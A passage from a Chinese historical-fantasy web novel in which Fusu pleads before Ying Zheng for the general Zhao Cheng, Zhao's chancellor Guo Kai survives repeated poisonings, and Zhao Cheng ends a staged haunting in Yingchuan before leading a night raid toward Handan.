然而扶苏奔到他身前,竟然看也没看他一眼,奔速不停,直直与他擦身而过,只刮起一阵强风。
淳于越僵硬在原地,不可思议地看着眼前的空处。
怎么回事!?
公子,怎么无视了自己?
难道多日不见,已经陌生到了如此地步了吗?
定是那血屠施展了什么妖法!
淳于越痛心疾首,转过身来,急急去追扶苏了。
“公子,公子啊……”
淳于越一路追着扶苏奔入章台宫,累得上气不接下气,扶着墙壁大口喘息,好似风箱一般。
而扶苏却大气也不喘一口,见了嬴政,噗通就是跪在地上。
那额头嘣的一声磕在地板上,眼皮都不眨一下。
“扶苏请王父收回成命!”
淳于越闻言,大为欣慰,总算松了口气。
原来不是无视自己,而是先来请求大王陛下,收回让他追随血屠的命令,这样他才能回归宫学,以后永远得随自己学习儒学啊。
太感动了。
公子并没有忘记吾的教导,君臣父子,君才在最前,就算要回来,也应该先请示君王才行啊。
嬴政皱了皱眉头,这小子又犯什么邪?
赵诚刚走,就来和自己对着干?
“你要寡人收回什么命令?总要说清楚你的道理。”
扶苏长跪不起,沉沉说道。
“赵将军虽然对待敌人酷烈,但绝不是叛国之人!
其对秦国忠心耿耿,处处为国思虑,一颗拳拳之心苍天可鉴!”
“他是为了秦国而冲锋陷阵,背负血屠之名,为了秦国亲手**墨吏,背负削爵之罪,更是为了秦国苦心创造炼体之法,日夜练兵!”
“如此大秦国柱,怎可因人构陷,而被罢黜!?”
“王父,万莫中了敌国的奸计,使忠者痛,敌者快啊!”
他声音沉沉,却如若洪钟,再不是从前的柔柔弱弱,而是血气方刚!
淳于越听得那是眼前一黑,差点吐出血来!
公
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子怎可为了那血屠说话!?
完了,全都完了!
公子已经完全被那血屠妖法迷惑了心智,竟然将那残暴血屠当做了好人,还说他是忠心耿耿的国柱!
这简直就是认贼作父啊!!
淳于越气的浑身发抖。
然嬴政的眉宇之间,却透出了欣慰来。
这是第一次,他在扶苏的忤逆之中,感受到欣慰。
扶苏,成长了。
嬴政收起眉宇间的欣慰,转而变得冷硬,脸色发黑。
“你说赵诚不是叛国之人,如何证明,难道只凭你的一张嘴?”
扶苏咬了咬牙,却也想不到如何证明此事。
若是只凭他作保,就能证明赵诚不是叛国之人,那赵诚现在也不至于被罢黜到颍川郡去了。
他心中疯狂转念,思来想去,一个疯狂而大胆的想法出现在他的脑海之中。
而后这想法越来越大,直至挥之不去,无法忽视。
只见扶苏突然站起,如赵诚一般挺立殿下,竟也有几分锋芒透身而起!
掷地有声的少年音响彻大殿。
“陛下!臣请亲率血衣军攻赵,只求陛下给赵将军一个机会,让其随臣而战,速攻灭赵,以正清白!”
斩钉截铁,坚定无比!
然而当话音落地,殿门口却传来扑通一声,那淳于越直挺挺的倒在了地上,翻起了白眼。
这是真的眼前一黑。
完了!
彻底完了!
再也回不去了,公子已经要变成另一个小屠子了!
嬴政亦是愕然,好似重新认识了扶苏一般,上下的打量着他。
“你要领血衣军攻赵?”
虽然之前大胆猜测过这个方向,但是当事情真的发生的时候,他还是有些难以置信。
曾几何时,扶苏还在为征战诸国的杀戮而忤逆自己,不断谏言,让自己仁治义战。
如今,竟然要亲率血衣军攻赵,只为还赵诚一个清白。
见嬴政没有说话。
扶苏更是上前一步,锋芒更胜,“若王父无法信任其他人,那便由臣来领血衣军攻赵,臣无领兵之能,但臣有王父的信任。”
“赵将军无王父信任,却有领兵之能。”
“只求王父,待赵将军速攻灭赵之后,能够重新相信赵将军,重用此大秦国柱。”
第129章 浩然正气铁骨担当!被刺到崩溃的郭开!
斩钉截铁的少年音回荡在大殿之上。
使得嬴政久久不语。
终于追到殿外的蒙恬也是愣怔在外,嘴角不自主地流露出一丝笑意来。
多日以来,他也经常见到营地之中,那一大一小站在一起。
或言传身教,或解答疑惑,亦或者看到扶苏被赵诚狠狠锤炼,叫苦不迭。
竟是不知何时,扶苏已经对阿诚如此信任。
正感慨间,他的脚边,一只手伸了出来,死死地抓住了蒙恬的裤子。
蒙恬大惊,连忙拉住自己的裤腰带。
两者角力之下,淳于越颤颤巍巍地站起,“不可!!不可啊!”
他看也没看蒙恬一眼,跌跌撞撞地奔进大殿,扑通一声跪在地上。
“陛下!万万不可!公子此言,简直是荒唐至极!”
“他定是被血屠迷惑了心智!”
“公子一介文弱公子,从未领兵,如何驾驭这群凶徒?
若赵诚在军中暗使手脚,借公子之名行叛国之实,届时邯郸未破,咸阳先危,公子担得起这干系吗?”
“何况攻赵乃国之大事,需运筹帷幄、择选良将,岂可为‘还赵诚清白’这等私念,拿大秦锐士的性命、拿一统大业做赌注?!”
“陛下!公子年少,被奸人蒙蔽尚可恕,可这兵符兵权,绝不能轻授啊!
赵诚本就有叛国嫌疑,若借公子之手重掌血衣军,那封密信里的‘合谋分秦’,岂非要成真了?!
臣请陛下断其妄念,莫让大秦基业,毁于公子一时冲动啊!”
淳于越这番话,先是质疑扶苏的领兵能力,点出扶苏年幼,不足以信任其率领血衣军。
又强调了血衣军与赵诚的绑定关系,点出赵诚可能借助扶苏的信任**。
其二,更是将扶苏请兵攻赵解读为因私废公,上升到危及大秦基业的高度,并坐实赵诚的叛国威胁。
如此短的时间里面,将如此多的诛心之刀藏于话语之中,将危言耸听用到了极致。
扶苏听着,眉头逐渐皱了起来。
此时,他第一次在“先生”身上,感受到了那博大儒学掩盖之下的刺目私心。
并为之感到厌恶。
他微微转过身,冷漠以对,“淳于博士,其一,血衣军将士们并非凶徒,他们各个都是豪放直爽、有情有义的忠国锐士,他们忠于秦国,忠于王父,待吾亦如同袍手足。”
他挺直脊梁,原本瘦弱的肩膀,如今已宽阔许多,有了棱角。
“其二,领兵攻赵,军权在吾,有何责任,吾自担之!所谓邯郸未破,咸阳先危不可能发生,吾作为王父嫡长子,亦能担得起这份干系!”
他掷地有声道,“其三!攻赵确是国之大事,该运筹帷幄、择选良将,也正因如此,我大秦良将之中,何人比赵将军更锐不可当?”
“还其清白,自是国事,如何算是私念?”
他冷静以对,一一辩驳过去,竟让淳于越愕然而哑口无言。
他突然意识到,眼前的少年,似乎已经不是孩童了。
竟开始有些顶天立地了。
到底是什么时候,出现如此巨大变化的?
嬴政默默看着扶苏斩钉截铁的辩驳淳于越,心中不由自主的欣慰和开心。
他在扶苏的身上,看到了担当、责任、勇敢、坚毅、无畏以及血性。
这些真正的,军魂一般的东西,并不与他从前学的那些儒学精神冲突。
相反,它加持了扶苏身上的浩然正气。
让这股浩然之气,不再如空中楼阁一般缥缈无根。
而是有了依凭,有了倚仗。
若说之前扶苏身上的正直与浩然气,是从书本上学来的,如今的浩然气概,便是实打实锤炼出来的。
在无边艰苦的炼体中,在目睹的血腥杀伐中,在与军中将士同吃同住中,将浩然正气锤炼到骨血之内。
生长出真正的铁骨担当来。
他并非从善变作了恶,也不是从文雅变作了粗鲁。
而是去伪存真,不再拘泥于儒学仁义的桎梏。
愿以铁血手段行善事。
若再以车**问他,他亦可行仁念,即使承担不
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仁之名。
嬴政故作黑脸,“你可想好了?”
扶苏不假思索,“臣想好了。”
嬴政挥了挥手,“那就由你来领血衣军,蒙恬作为副将辅佐,攻赵战事一起,你便领了虎符,带军前往颍川郡。”
“至于赵诚一事,你若担得起干系,就由你做主好了。”
“臣,领命!”
扶苏领命,而后转身,大踏步走出殿外,竟也有几分龙行虎步。
不过身上燃的却不是血煞杀伐之气,而是阵阵浩然正气。
淳于越看着他的背影,竟是讷讷无言。
良久,嬴政的声音传来,“淳于博士,你可还有什么事情要奏?”
淳于越张了张嘴,终于还是拜退,“臣无事要奏。”
他长叹一声,离殿而去。
……
“来,你来先喝一口。”
赵国相府之中,郭开顶着一双黑眼圈,满脸苍白倒了杯茶,却不敢喝。
只好将一旁的侍女拉了过来,让她先喝。
侍女看了一眼茶杯,脸色苍白如纸,浑身抖若筛糠,扑通一声跪在地上。
“相爷饶命!!”
实在不是她胆小,近来这相府之上,为郭开试毒的下人,已经不知道**多少个了。
简直是一试一个准。
现在谁自己喝水都没事,但是要喝相国的水,那是必死无疑。
郭开深深闭目,说不出的悲凉无语。
到底是造了什么孽,现在连喝一口水都困难了?
当初设下除掉赵诚的毒计之后,一开始还什么事都没有。
但是自从前往秦国境内的胡笳接连失踪之后,他便每日开始焦头烂额。
一开始是搜查内鬼。
阴山谍府的胡笳经验丰富,然而两日之内,却接连悄无声息消失在秦国境内。
连求救和最后的情报都没有能够传递出来一丝一毫。
这明显是敌方得知了极为准确的情报,有备而来,才能够让训练有素的精锐胡谍连遗言情报都发不出。
思来想去,郭开断定:谍府出现了内奸!
第130章 神医唐非愈!狮子大开口!
郭开着手处理内奸,然而内奸没找到,却差点被人毒死。
若非当时谍府有救命解毒丹,现在已经坟头长草了。
这刺杀之无形,之突然,让他始料未及。
当时就后怕得睡不着觉。
自那之后,他便找了最强的几队胡谍,在相府之中严防死守,就算是一只苍蝇也不能放进来。
可那些刺客不知是从哪里冒出来的,竟然无孔不入。
把相府渗透成了筛子不说。
下毒、暗器、陷阱……各种手段那是层出不穷,他这相府简直就成了魔窟,不但吃饭睡觉都要小心翼翼,就连出门走上几步,都有可能踩到陷阱中了毒。
这下,郭开可是头皮发麻,眼看这些胡笳无法拦截那些刺客。
干脆直接让他们贴身保护自己。
如此一来,三队胡笳轮流贴身护卫,本以为这样一来,肯定不会出现什么问题了,结果每日都有胡笳暴毙眼前。
死状惨烈各异。
最可怕的是,这些刺客之中,还有精通易容术之辈,隐藏在胡谍之中,好几次都差点把他给弄死。
而他甚至连刺客长什么样子都没有看到。
刺杀完他,还能全身而退,也不知道是哪里跳出来的神仙。
导致他现在连胡谍都不敢相信了。
这也就算了,有刺客也总得活着,吃喝不能停。
结果不管吃什么,都**有毒!
别人吃可能没事,他只要进嘴,那就要**,毒性之烈,三息之内就能毒死一个人。
若非他谨慎,什么东西入嘴之前,都再找一个人来试一下,现在已经**八百回了。
如今相府风声鹤唳,他别说睡觉了,就是喝口水都胆战心惊。
短短几日,人瘦了一大圈,看着跟个病死鬼一样。
实在是熬不住了。
“少废话,快喝!”
今天这口水,他就非得喝到肚子里,不然就渴**!
侍女被逼无奈,秉着死志,将茶水喝了下去。
郭开目不转睛盯着。
一息……
三息……
十息……
无事发生!
郭开大喜过望,哈哈大笑将茶水一饮而尽,而后回味无穷。
这就是茶之甘醇吗?
往日里,竟不知此茶如此美妙!
等等!
为何腹痛?
郭开突然脸色大变,感觉肠子都要毒穿了!
“神医何在!?”
他一跃而起,疯狂朝着神医所在疾奔!
“速来相救!!”
另一边的神医也是双向奔赴,正在狂奔而来,人还在半路,手中的针已经飞了过来,直接扎在了郭开的脑门上。
咻咻咻声音连绵不绝。
眨眼之间,郭开就被扎成了刺猬。
疼归疼。
但这针扎在身上,是真有安全感啊!
肠子感觉好多了。
再一次死里逃生,郭开心中无比喜悦,同时也无比悲凉。
活是活下来了,可是现在才刚刚喝了半盏茶水。
“神医,这究竟是何毒?”
施针的女医官身量颇高,双腿极长,站在那里风姿卓越,比郭开还要高上一头,气场更是不弱于郭开。
只见她葱白玉指一挑,一枚金针顿时从郭开的脑门上飞了回来。
金针在她的指尖缠绕跳跃,上面沾染的丝丝毒血突然冒起黑烟来。
她清冷开口道,“断肠散,这剧毒本来极苦,但经过特殊手法调配之后,才能够做到无色无味,**于无形。”
“江湖上能够做到这一步的不算多。”
“而能使得动如此之多顶尖刺客的,更是少之又少。”
“郭大人,你究竟招惹了何人?”
那可多了。
郭开皱眉苦思,想到了赵诚,却又觉得不太可能。
毕竟赵诚上位时间不久,没道理这么短的时间里面就有这么大的能量。
那些顶尖刺客,一般都是无法用钱驱使的,就算能够用钱驱使,那出手一次,也是天价。
见他想不到,唐非愈摇了摇头准备离去,“吾还能救你三命,三条命之后,两不相欠。”
郭开为了请到唐非愈,花了天价购买了一株奇药,换得唐非愈能够救他十次。
如今算上这一次,已经用掉了七次。
但看眼下的情况,三次哪里够?
就算是三十次,也未必就够啊!
郭开顿时慌了,“神医,能否请你出手,除掉这府上的
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刺客?”
唐非愈看了看他,思忖片刻后,说道,“那是另外的价钱。”
郭开现在哪里还顾得上价钱,“神医只管开价!”
唐非愈说道,“一株养神芝!”
郭开骇然,“此物……此物只有传说中才有啊。”
据传,东海之外有祖洲,上有不死之草。
草形如菰苗,长三四尺,人已死三日者,以草覆之,皆当时活也,常服之可令人长生不死。
诸国乱战时,多枉死者横道,有鸟如乌状,衔此草覆**面,当时起坐而自活也。
此事传闻甚广。
有君王遣使者去问鬼谷先生。
鬼谷先生云:“此草是东海祖洲上,有不死之草,生琼田中,或名为养神芝。其叶似菰苗,丛生,一株可活一人。”
后来,始皇帝困于身体每况日下,得知此事后,才派使者徐福带着童男童女五百人,率摄楼船等入海寻祖洲,遂一去不返。
所以这个东西就连后来一统天下的秦始皇都难以找到,郭开是真的无处去寻。
唐非愈也不过是狮子大开口而已,她也知道此物难得,想要趁着郭开想保命的时候,诈一诈他。
万一这权倾朝野的家伙有存货,那不就是赚了?
“好吧,那便十株天山雪莲。”
唐非愈依然狮子大开口,但这一次,郭开却只是有些为难的想了一想,相比于自己的小命,钱还是不算那么重要。
于是一口答应下来,“可以,不过天山雪莲保存不易,需要一些时间准备。”
唐非愈说道,“何时雪莲到手,我何时出手除掉这府上刺客。”
郭开急啊,又是花费天价,半日时间,就弄来了十株雪莲。
唐非愈得了雪莲,以特殊手法制作成了可长期保存的药草。
看着玉盒之中的雪莲,唐非愈嘴角露出一些笑意来。
“我那两个不成器的师弟,闯荡江湖这么久,也算是有些长进了。”
“有他们两个配合,郭开这奸相要把家底往外掏一掏了!”
是夜,郭开相府之中,金针翻飞,暗器来去。
子夜时分,地上多了三具刺客尸体。
郭开也终于睡了一个好觉……
第131章 翻手为云覆手为雨,赵诚谈笑度亡魂!
秦王政十七年,冬天已然过去,正是春寒料峭之时。
阳翟城外,赵诚身穿爵服,身披大氅,坐在高头大马之上,当先而来。
其后八名亲卫跟随,更有数十马车随行。
“颍川郡郡守王腾,恭迎将军!”
郡守王腾携众多地方官员,迎接赵诚。
赵诚如今虽然成了郡尉,但是其军中威望不减,而且就算是削爵之后,依然还是少上造的爵位,比王腾高上好几级。
“王郡守不必多礼,大王命我为郡尉,你我同级而已。”
赵诚下马,摆了摆手,表示自己不在意这些。
王腾却很是庄重,“将军为我大秦开疆拓土,来颍川郡镇抚,不过是暂时的。”
“未来战事一起,还要仰仗将军上阵杀敌。”
“府邸已经收拾好了,赵将军请随我来。”
王腾率领着地方官员,亲自带着赵诚进入宅邸。
又为其安排好了诸多事宜,言明今夜在城中设宴为赵诚接风洗尘之后,便告辞离去。
“不愧是之前做内史的,做事情滴水不漏。”
赵诚入了宅子,简直就像是回到了自己家一样。
诸多布置,除了规格低了一些之外,与咸阳城中相差不多,甚至这宅子占地面积还要犹有过之。
可见这王腾是用了心的。
众官都以为他赵诚是真的贬了职,避之不及。
王腾却能如此表现,显然也是有所猜测,这未尝不是一种**智慧。
而赵诚之后从此的攻韩,或许还需要王腾的配合,这晚宴自然是要去的。
晚宴之上,众官争相向赵诚献酒。
“少上造有所不知,咱们颍川郡的郡兵,有许多都是从当地青壮之中征召而来,还有一些是从其他城池之中的残存韩兵之中选拔过来的。”
“这些士卒一听说将军要来颍川郡镇抚,那是一个个脸色发白,晚上有好几个睡觉的时候,被噩梦吓醒,口中惊呼血屠阎罗!”
“可见少上造威名之盛!”
众官皆是看向王腾,王腾则是看向赵诚,见赵诚不以为意,这才笑了起来。
他一笑,则众官皆笑。
场面热了许多。
王腾突然愁眉不展,“少上造,近来颍川郡有些传闻,不知您是否有所听闻啊。”
赵诚自然知道他所指,“亡魂索命?”
王腾点头,“正是,吾心知这是敌军的诡谲伎俩,但即使是派精锐士卒提前埋伏,依然无法破局。”
“按照那些埋伏的士卒说,他们在城外,真的看到了亡魂!”
“以至于现在,无人胆敢出城,流言也是越闹越凶,甚至开始有旧韩之人蠢蠢欲动,借助这股流言,拉起了一些反抗势力,最近已经**了几起。”
“可这流言不除,反抗势力只会越来越多。”
赵诚点了点头,“恐怕不止是流言导致,还有敌国暗中扶持,毕竟这颍川郡一日没有安定下来,大王就会一直延缓攻伐趋势。”
“无妨,今夜我就去会会这些亡魂。”
“看看是他们索了我的命,还是我度了他们的魂。”
此话一出,众官大声喝彩。
实际上,他们这几日也是压力山大。
不光是流言惹得百姓怨气沸腾。
就连他们本人,一入夜也是心惊胆战,生怕那些城外的亡魂真就进了城,来索他们的命!
现在好了,正主来了。
不管是谁索谁的命,他们总算能安全一些了。
席间,王腾妙语连珠,又说了许多趣闻。
让赵诚并没感觉枯燥,喝酒笑谈间,已经快到了子时。
空气明显变冷了许多。
城外风声呼啸,穿过阁楼窗户缝隙,发出呜咽般的声响。
一股森寒之意,逐渐弥漫宴席之间。
就连妙语连珠的王腾,说话都显得有些干巴起来。
众官员都觉得,今日这风声呜咽的声音,比往日大了许多。
难不成是因为正主来了,那些亡魂要发疯了?
官员们有些坐立不安。
而赵诚笑意如常,喝酒吃肉,丝毫不显急躁。
呜咽风声愈发清晰。
城门外的腥风,似乎都刮到了这酒楼来,一声声隐隐约约的哭嚎声正在迅速蔓延,跨越城墙,覆盖了半座城池。
城头上的守卒一个个头皮都要炸开了,全身汗**直竖。
这还是第一次,城外的亡魂哭嚎呜咽声音越过城墙这道线。
在他们的耳
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中,这声音好似来自四面八方!
似有亡魂与他们擦肩而过,涌入城池之中。
这可把守卒们都吓惨了。
而城中的百姓,更是完全不敢入睡,许多家百姓都是跪在地上,祈求亡魂饶命,说些冤有头债有主之类的话……
呜咽声愈演愈烈,逐渐变成了哭嚎,夹杂着尖厉的诅咒。
让无数人为之胆寒。
这声音在蔓延至酒楼时,达到了极致!
惨烈凄厉的声音,如同洪水灌入酒楼。
让原本喝了酒忘乎所以的官员,都一瞬间醒了酒,惊恐地看向周围。
热烈的气氛在短短时间内,瞬间跌至冰点之下。
无人说话,酒楼里面全是哀嚎诅咒的声音。
有人惊恐地看着那些在风中颤动摇摆的窗户,更有人揉了揉眼睛,好似看到了鲜血淋漓的亡魂翻窗而入。
“有……有亡魂索命来了!”
王腾脸色也很是紧张,实在是没有见过这种场面。
他看向赵诚,“将军……”
赵诚慢慢放下酒杯,“本来还要去找他们,他们却自己来了,倒是省了麻烦。”
却见他抬了抬手。
就像是发出了什么信号。
酒楼之外,那无边的哀嚎诅咒中,突然多了几道十分真切的闷哼声。
四面八方的利刃破空声连绵不绝,又有鲜血溅落的声音微微响起。
不过眨眼之间,所有声音与幻象便已经全部消散。
窗子外面数道影子一闪而过,似乎拖着什么东西离开了。
满城皆静!
酒楼之中也彻底安静下来,静得连风声都没有了。
刚刚还沉浸在惊恐之中的众官员,好似突然跌入了另一个世界,这世界是如此的安静祥和。
但这安静之中,却好似展现了另一种石破天惊。
所有人都不可思议看向那刚刚放下酒杯的英武少年。
困惑阳翟多日的亡魂索命,竟只在他抬手之间便烟消云散?
如此诡异的手段,他甚至不需要起身,便已经轻松解决。
世人只知血屠武力通神,有冲锋陷阵锐不可当之能,却不知其还有如此翻手为云覆手为雨的手笔。
王腾等人一时惊为天人!
第132章 三计皆中?相国覆手灭血屠!
"糟了!!亡魂入城了!"
“难道是因为今天血屠将军进城了的缘故??”
“怨魂发了疯!这可怎么办?”
“索那血屠的命!还我儿的命来!”
“冤有头债有主,不要来找我们啊,我们是无辜的……”
城中一片混乱惶恐,然而突然间,所有的声音突然消失,甚至连风声都消散掉了。
满城寂静。
城头上的卫卒惊疑不定地看着周围,“咦?声音消失了。”
“怎么回事?难道是亡魂已经成功索命了?”
“不可能,区区亡魂如何对付得了赵将军?”
正惊疑不定间,一个高阔魁躯身影遥遥而来。
如烈火焚原一般,迅速跨越无数距离。
前一刻还在卫卒的视线远方,下一刻就已经轰然而至。
霸烈气场压迫全场的同时,他眸光一扫,已经锁定城外主谋。
神弓射雕突兀地出现在手上,拉弓如满月,弓身盈耀星辉,箭矢闪耀寒芒。
远处阴山谍府的一名统领瞬间感到浑身汗**直竖,一股莫大的生死危机让他亡魂皆冒。
本来还想观望一下情况的他,不假思索地转头就跑。
然而随着一声撕裂空气的啸鸣声响彻阳翟城内外。
一支箭宛如凭空出现一般,突兀地射入了他的眉心,而后一穿而过,带走了他的生命。
与此同时,埋伏在各个城外的封喉也开始了收网。
颍川郡数个城池之外,亡魂嚎哭之声同时消失。
这些精通萨满术,利用喉音制造幻觉的胡笳装神弄鬼还行,让他们对付专门**的封喉,那根本不够看。
转眼之间,就**了个干净。
于是,赵诚抵达颍川郡的第一天,颍川郡亡魂诅咒之患便彻底消失。
第二天,赵诚更是带着郡兵,大摇大摆横穿颍川郡,将所有借亡魂之患反抗的义军全部剿杀。
颍川郡再次血流成河,无数义军的尸体再次被悬挂在城外,震慑无数宵小。
甚至都没有用到第二天的时间。。
只是一天的时间,让王腾等地方官员无比头疼的问题就全部解决了。
颍川郡众官员一时间更是惊为天人。
之前那些起义军如同雨后春笋一般,到处都有,而且异常狡猾,他们这些到任许久的官员,都无法根除这些祸患。
但赵诚才到这里第一天,只是和他们吃了个饭,第二天就精准无比地剿杀了所有反抗军。
简直神乎其神!
颍川郡的所有地方官员,一时间都对赵诚敬畏如神。
军中的将士们,更是彻底敬服。
就算是一些没有见过赵诚的新兵,现在也算是明白了血屠阎罗四字的含金量。
其就像是一把绝世凶兵,不但锋锐无比**如割草,更是一击必杀,直指要害。
接下来的日子,和在咸阳城没有太大区别。
颍川郡的郡兵精锐落到了赵诚手里,自然是每天生不如死,不过实力精进却是非常之快。
前去赵国刺杀郭开的封喉折损了三个。
回来的几个封喉之中,也有一个已经中了剧毒,半死不活。
封不救和药无医两人忙活了半天,总算解了毒。
影月将情况汇报给赵诚。
“也就是说,此女不但能够解掉封不救两人的毒,还有着顶尖修为?”
赵诚心中一算,又乐了。
这和封不救他们两个是师姐弟啊。
血衣楼又要来人才了。
“那就先让郭开活几天,等我灭赵之后,就让他们师姐弟三人团聚。”
……
此时赵国之中。
郭开花费大价钱之后,终于能够吃的安稳睡得安稳了。
原本平常的日子,现在觉得是如此的幸福。
而朝中也接连传来了好消息。
先是赵国第一舞姬成功潜入到了赵诚府邸之中,隐藏在赵诚的身边,传递来了赵诚的言行举止。
而后,他的**谣言起到了非常好的效果,在颍川郡制造了大乱,让秦国消化韩地的速度延缓,一时半会根本无法攻赵。
最后,离间计也相继起到了绝佳的效果。
那血屠遭到忌惮,竟直接被秦王贬到颍川郡做了郡尉。
站在大殿之上,郭开呈递了密报之后,微微昂着头,志得意满地站在殿下。
赵王迁看着手中密报,心中那是长出了一口气,越看郭开越是欣喜。
“相国说得不错,此人果然有勇无谋,竟然在章台宫殿外对秦国诸臣大打出手,甚至要诛杀百官,如此行事,秦王便更不会
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再重用他了!”
“相国三计皆中,轻松解决秦国血屠这一隐患,可谓是谈笑间强敌灰飞烟灭!”
“寡人有此良相,赵国何愁不兴啊!”
“大王谬赞。”郭开笑意更甚,“都是大王烛照,臣才能得此巧思。”
“诸君有所不知,那天晚上,吾正做梦对付血屠,苦思不得解,眼看就要被那血**了。
是大王踏入梦来,传我巧计,才得以胜之。
醒来之后,我不过将这巧计,还给大王罢了。”
赵王迁大爽,要重赏郭开。
“相国此番功劳极大,想要什么封赏啊?”
郭开苦着脸说道,“大王有所不知,近来我府上多出了许多刺客,这些刺客极为阴险,无孔不入,且擅长下毒。”
“臣好几次都差点被他们毒死,见不到大王了,好在府上有几株奇药,才保住了臣这一命。”
“如今余毒未消,臣恐怕也活不了多久了,只盼着有生之年,再为大王尽一份力。”
“这样,臣死也瞑目了。”
此话一出,赵王迁才注意到郭开的脸色发青,人更是已经消瘦了好几圈。
他大为惊怒,又异常感动。
“相国真是为寡人,为赵国鞠躬尽瘁死而后已!寡人何德何能,能有你这般良臣辅佐?”
“你是我赵国的国柱,是栋梁,决不能塌了。”
“来人,取国库之中的九嶷山朱果来!赏给相国解毒!”
郭开心里乐开了花,脸上却连道,“这怎么能行,这是大王自用的奇药啊。”
赵王迁已经感动得无以复加,大手一挥道,“无妨,有相国在,寡人才能安心。”
郭开得了朱果,心说这下又能买神医出手一次,又能活好一阵子了。
“不过,那血屠被贬到哪里不好,偏偏是颍川郡,此地距离邯郸实在太近,若是此人发了疯,强冲到邯郸又该如何是好?”
赵王迁心中担忧,又看向春平君,“春平君,那千机锁龙阵布置得如何了?”
春平君上前说道,“陛下,那千机锁龙阵已经布置完成。”
“更有数名墨家高手镇守四方。”
“只要那血屠敢来,必然永埋地下,连城门都进不来。”
赵王迁这才放松了许多,“好!”
第133章 血衣夜驰袭邯郸,魏城借道震边关
没了外部威胁,赵王迁又安于享乐,每日沉迷酒色。
而郭开这边也差不多,没有了刺客刺杀,日子过得简直比神仙还舒服。
可好日子没有多久,很快就噩耗频传。
“血屠抵达颍川郡,当夜灭尽颍川郡亡魂,而其人毫发无损……”
“血屠率兵横穿颍川郡,我们暗中扶持的所有兵力,都被其屠了,连假作商队的间子,也全军覆没……”
“不好了,陛下,秦国大兵压境!”
“什么?!主将是谁,莫不是那血屠又被重用了?”
“不是血屠,是王翦和蒙武为将,从太原,上党两线分攻!”
“速速调李牧将军回防!”
“秦国这是疯了不成,韩地还没有消化掉,就开始再起战事。”
“陛下莫慌,之前王翦已经多次率兵攻打,还不是被李牧将军打了回去,只要韩地还没稳定下来,结果就不会有新的变化!”
“说的也是,相国,赵诚那里,可有新的变化?”
郭开笑道,“并无变化,那血屠似乎因为被贬一事自暴自弃,屠灭了颍川郡的反抗军之后,便每日呆在颍川郡的府中享乐喝酒。”
“据姬雪儿所说,他越来越没有斗志了,还说了许多秦王嬴政的坏话,说他昏庸残暴,有眼无珠,重用奸臣,疏远良臣。”
“臣以为,他说得倒也不错,那嬴政比之大王,差得实在太远了。”
“大王才是慧眼如炬,极具识人之能啊!”
赵王迁大笑,心中说不出的舒爽。
“哼,秦国奋六世之余烈,那嬴政靠的不过是祖祖辈辈的努力罢了,若是赵国有他这样的条件,寡人自然能够做得比他更好!”
“相国放心,那赵诚没有遇到一个明君,但寡人绝不会背弃相国!”
“臣,恩谢陛下。”
赵国的大殿之上,上演着君臣相和的戏码。
而赵国与秦国的边境,则开始了惨烈的**。
王翦蒙武各率十万大军,攻伐赵国边境。
李牧则是率边军回防,滴水不漏。
双方兵法齐出,诡谲无比,你来我往,钩心斗角。
每一枚棋子落下,都是经过千百次的思虑,更有无数将士喋血疆场。
而上林苑之中的血衣军营地,开始逐渐变空,人越来越少。
数万血衣军,昼伏夜出,分批前往颍川郡集合。
如今这血衣军经过长期痛不欲生的炼体,每个人到了江湖上都算是一方高手。
更何况,还有铁鹰瑞士的传统技艺。
他们潜伏到敌国都能够做到悄无声息,潜伏到自己国家的一郡之地,简直不要太轻松。
没过多久,两万余血衣军便已经在颍川郡重新集结。
扶苏捧着虎符,假装大将模样站在赵诚身前,绷着小脸道。
“少上造,吾请求父王,亲率血衣军攻赵,如今拜为攻赵大将军,你可随吾而战,速攻灭赵,以正清白!!”
“此番……额!?”
他正想说一说情况,表达一下态度,然后再劝慰一下赵诚。
然而话还没有说完,虎符就已经消失在了手中。
这让他大脑一片空白。
不是,怎么把虎符夺去了?
这是能夺的吗?
他不会真的**吧?
那我怎么办?
一连串的问号冒出在扶苏的脑袋上,虽然在殿上正气凛然。
但真到了这一刻,他是真慌啊。
赵诚真**,谁能拦得住?
赵诚顺手将虎符收起,正了正将军大铠,杀气腾腾。
“少废话,今夜疾袭邯郸!”
扶苏长长松了口气,还好不是疾袭咸阳,不然天都塌了!
他眼睛转溜溜,盯着赵诚手中虎符,“可是,本次攻赵,我才是……”
扔给扶苏一个嬴政亲笔诏令,“虎符是我的,你王父诏令在此。”
啊,不是。
还有诏令?
扶苏打开诏令,顿时眼前一黑。
“任少上造赵诚,勇冠三军,锐不可当,临阵摧锋,万夫莫御。
今命尔为攻赵大将军,总领血衣军,自颍川郡整兵进发,往伐赵国。
务须严整部伍,乘时疾进,毋失机宜。颍川郡上下,兵甲粮秣,皆听调遣。
克期建功,以复王命。”
好么,大将军的位置还没坐热乎,就没了?
合着我是送虎符来的是吧?
这下,扶苏真的感觉天都塌了。
这时候他哪里还不明白,合着王父和赵诚早就勾结在了一起,糊弄那些奸臣呢!
他们不但骗敌国,骗友军,甚至连自己都骗!
气抖冷!
扶苏气的脸都鼓起来了,幽幽地看着赵诚,却被赵诚踹了一脚,瞬间破功。
“还不快去准备!”
“这就去这就去。”
扶苏屁颠屁颠地去准备了。
一个时辰之后。
阳翟城门大开,两万血衣军如离弦之箭般奔出,往北方疾驰而去!
血衣军每人都配有顶尖悍马。
一人两匹换乘,奔马如风。
全军沿着太行山东麓通道飞速北上
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,准备直穿魏国边地,自赵魏边境突破而入。
两万余骑犹如黑夜幽魂,没过多久,便已经突破了魏国边境,突兀地出现在汲县之外。
马蹄声如遥远天边的闷雷,隐隐约约响起。
汲县城头的卫卒迷迷糊糊的,还以为自己在做梦。
但这马蹄雷音越来越响,甚至地面都震颤起来,他们终于睁开睡眼。
一看之下,眼睛顿时瞪得浑圆。
而后汲县轰然大乱!
“敌袭!敌袭!!”
“什么敌袭?乱叫什么?”
守城将领一脸懵逼奔上城头,根本不信有人会突然来打汲县。
但再一看,差点将汲县守城将军吓个半死!
那月色之下,两万骑兵如玄黑洪流一般汹涌而来,其速如风,其势如电,刚刚还在远处,眨眼已是近前!
军气烈烈席卷之下,守将感觉这城墙都快被冲垮!
“这这这这……这是谁的军队!?”
眼看那军队已经到了城下,当先一名魁躯大将奔速不停,竟是直奔城门。
守将真是心惊肉跳,自家城门明明坚不可摧。
但在这股势头下,他就突然感觉这城门好似纸糊的一般,必被摧枯拉朽!
他慌忙喊道,“来将何人?为何攻魏啊?”
赵诚喝道,“吾名赵诚,攻赵借道,开城!”
“血屠阎罗!?”守将一听,浑身一颤,好似有股电流窜过般全身发麻。
“大将军稍待!这就开,这就开!!”
